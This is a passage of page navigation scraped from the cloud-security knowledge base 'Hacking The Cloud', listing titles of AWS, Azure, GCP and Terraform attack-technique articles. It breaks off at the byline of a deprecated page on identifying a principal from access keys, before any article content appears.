<div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6 checked> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=true> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sns-publish class=md-nav__link> <span class=md-ellipsis> sns publish </span> </a> </li> <li class=md-nav__item> <a href=#sdb-list-domains class=md-nav__link> <span class=md-ellipsis> sdb list-domains </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#sns-publish class=md-nav__link> <span class=md-ellipsis> sns publish </span> </a> </li> <li class=md-nav__item> <a href=#sdb-list-domains class=md-nav__link> <span class=md-ellipsis> sdb list-domains </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick 